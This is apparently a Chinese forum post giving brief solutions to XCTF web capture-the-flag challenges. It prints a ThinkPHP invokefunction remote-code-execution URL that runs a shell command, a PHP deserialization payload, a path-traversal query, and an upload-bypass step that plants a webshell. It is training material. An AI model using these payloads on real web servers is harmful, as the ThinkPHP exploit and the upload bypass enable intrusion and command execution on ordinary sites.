XCTF-web(四)

打印 上一主题 下一主题

主题 1377|帖子 1377|积分 4131

unserialize3


必要反序列化一下:O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

php_rce


标题提示rce毛病,测试一下:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

flag:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

Web_php_include


  1. show_source(__FILE__);
  2. show_source()是 PHP 的内置函数,其作用是读取并高亮显示指定文件的源代码
  3. __FILE__是 PHP 的魔术常量,代表当前正在执行的脚本文件的完整路径和文件名。所以这行代码的功能是显示当前 PHP 文件的源代码
  4. echo $_GET['hello'];
  5. $_GET是 PHP 的一个超全局变量,用于获取通过GET请求方法传递的参数
  6. 这行代码会输出GET请求中名为hello的参数的值
  7. $page=$_GET['page'];
  8. 此代码将GET请求中名为page的参数的值赋给变量$page
  9. while (strstr($page, "php://")) {
  10.     $page=str_replace("php://", "", $page);
  11. }
  12. strstr()是 PHP 的内置函数,用于查找字符串在另一个字符串中首次出现的位置。若找到,则返回从该位置开始到字符串结尾的部分;若未找到,则返回false
  13. str_replace()也是 PHP 的内置函数,用于将字符串中的指定子字符串替换为另一个字符串
  14. 这部分代码运用while循环持续检查$page变量中是否包含php://字符串,若包含则将其替换为空字符串,直至$page中不再包含php://
  15. include($page);
  16. include()是 PHP 的内置函数,用于包含并执行指定的文件
  17. 这行代码尝试包含并执行$page变量所指定的文件
复制代码
flag


upload1


要jpg和png后缀

上传以后修改为php后缀

用蚁剑连接找到flag

warmup



查看一下/source.php

看一下/hint.php

/?file=hint.php?/…/…/…/…/ffffllllaaaagggg


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

小小小幸运

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表